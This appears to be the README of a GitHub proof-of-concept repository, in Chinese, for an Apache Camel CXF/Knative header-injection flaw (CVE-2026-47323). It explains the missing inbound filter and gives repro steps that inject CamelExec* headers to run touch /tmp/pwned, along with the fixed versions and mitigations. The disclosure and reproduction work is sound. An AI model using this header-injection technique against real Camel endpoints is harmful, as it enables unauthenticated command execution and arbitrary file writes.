oscerd/CVE-2026-47323

GitHub: oscerd/CVE-2026-47323

Apache Camel CXF/Knative 消息头注入漏洞(CVE-2026-47323)的完整复现程序,演示了通过 HTTP 请求注入 Camel 控制头实现远程代码执行的攻击链。

Stars: 0 | Forks: 0

# camel-cxf-rest / camel-cxf / camel-knative-http Header Injection 复现程序 (CVE-2026-47323) 本项目演示了 Apache Camel 的 CXF 和 Knative HTTP header-filter 策略中存在的一个**消息头注入**漏洞,编号为 **CVE-2026-47323**。`CxfRsHeaderFilterStrategy` (camel-cxf-rest)、`CxfHeaderFilterStrategy` (camel-cxf-transport) 和 `KnativeHttpHeaderFilterStrategy` (camel-knative-http) 仅过滤 **outbound** 的 Camel 内部 header (`setOutFilterStartsWith`),而**没有**配置 **inbound** 过滤 (`setInFilterStartsWith`)。因此,未经认证的攻击者可以通过向 CXF-RS 或 CXF-SOAP endpoint 发送 HTTP 请求,注入 Camel 内部 header(例如 `CamelExecCommandExecutable`、`CamelFileName`)。当路由将来自这些 endpoint 的消息转发到由 header 驱动的组件(如 camel-exec 或 camel-file)时,被注入的 header 会覆盖已配置的值 —— 从而导致**远程代码执行**或任意文件写入。 此 PoC 使用了 **CXF-RS (JAX-RS)** 表面:注入的 `CamelExecCommandExecutable` 会将无害的 `echo` 转变为任意命令执行。 安全通告: ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-cxf-rest` (`CxfRsHeaderFilterStrategy`), `camel-cxf-transport` (`CxfHeaderFilterStrategy`), `camel-knative-http` (`KnativeHttpHeaderFilterStrategy`) | | **CWE** | CWE-20: 不当输入验证 | | **影响** | 通过 HTTP 请求注入 Camel 控制 header → 覆盖下游由 header 驱动的 producer → RCE (camel-exec) 或任意文件写入 (camel-file) | | **前置条件** | 将消息转发到由 header 驱动的 producer 的 CXF-RS / CXF-SOAP / Knative endpoint;当 endpoint 未授权时可被利用 | | **受影响版本** | 从 3.18.0 到 4.14.6 之前,从 4.15.0 到 4.18.2 之前,4.19.0(在 4.19.0 中已修复) | | **修复版本** | 4.14.6, 4.18.2, 4.19.0 | | **鸣谢** | Quac Tran | ## 技术细节 ``` // CxfRsHeaderFilterStrategy.initialize() (affected 4.18.1) — only the OUTBOUND filter is configured: setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH); // (no setInFilterStartsWith(...), so inbound Camel* headers are NOT filtered) // DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — inbound HTTP headers copied through the strategy: for (Map.Entry> entry : headers.entrySet()) { if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange) || entry.getValue().isEmpty()) { // dropped — but with no inbound filter, CamelExecCommandExecutable is NOT dropped } else { camelMessage.setHeader(entry.getKey(), entry.getValue().get(0)); // <-- injected header lands here } } ``` 修复方案(4.14.6 / 4.18.2 / 4.19.0)在这些策略中添加了 `setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH)`,因此 inbound 的 `Camel*` / `camel*` header 将会被丢弃。 ## 受害者路由 ``` from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource") .to("exec:echo?args=hello") // the author's fixed, harmless command .setBody(constant("ok\n")); ``` 一个 JAX-RS endpoint (`GET /service/api/ping`),其请求被传递给一个固定的 shell 命令。camel-exec producer 会优先遵循 inbound 的 `CamelExecCommandExecutable` header,而不是已配置的 `echo`。 ## 仓库结构 所有内容都在一个独立的应用程序中运行:CXF-RS endpoint、camel-exec sink(执行槽)以及攻击者驱动程序。 ``` CVE-2026-47323/ ├── pom.xml # camel-cxf-rest + camel-exec 4.18.1 (+ CXF undertow transport) ├── Dockerfile ├── docker-compose.yml # single self-contained service ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── ApiResource.java # JAX-RS contract: GET /api/ping │ ├── VictimRoute.java # cxfrs consumer -> exec:echo │ └── ExploitController.java # attacker: GET /ping with injected CamelExec* headers └── resources/ └── application.properties ``` ## 前置条件 - Java 17+ 和 Maven 3.8+ - Docker(可选,用于容器化运行) ## 复现步骤 ### 选项 A — Docker(推荐) ``` mvn clean package -DskipTests docker compose up -d --build curl -s http://localhost:8080/exploit/attack docker exec cve-2026-47323 ls -l /tmp/pwned # created by the injected command docker compose down ``` ### 选项 B — 直接运行 jar ``` mvn clean package -DskipTests java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar & curl -s http://localhost:8080/exploit/attack ls -l /tmp/pwned ``` ### 预期输出 ``` marker before: false === 1) Legitimate request (no injected headers) === response: ok marker created: false === 2) Injected CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned === response: ok marker created: true >>> Header-injection / RCE proof — an unauthenticated HTTP client made the route run an >>> arbitrary command by injecting CamelExec* headers into a CXF-RS request (touch /tmp/pwned): true ``` ## 攻击向量 任何将消息从 CXF-RS、CXF-SOAP 或 Knative-HTTP endpoint 转发到由 header 驱动的 producer 的路由。 除了 `CamelExecCommandExecutable`(通过 camel-exec 实现 RCE)之外,`CamelFileName` 还允许通过 camel-file 进行任意文件写入,而其他 `Camel*` 控制 header 可以操纵其他 producer。 ## 推荐修复方案 升级到 **4.14.6 / 4.18.2 / 4.19.0**。受影响的策略随后会配置 `setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH)`,从而丢弃 inbound 的 `Camel*` header。 ## 缓解措施 在升级之前,请在任何下游 producer 之前剥离 inbound 消息中的 Camel 控制 header (在路由起始处使用 `.removeHeaders("Camel*")` 和 `.removeHeaders("camel*")`),并要求对 CXF / Knative endpoint 进行身份验证。 ## 免责声明 此复现程序仅用于**安全研究和授权测试**,针对的是**已公开披露 并已修复**的漏洞。未经明确许可,请勿将其用于攻击系统。
标签:JS文件枚举, 域名枚举, 请求拦截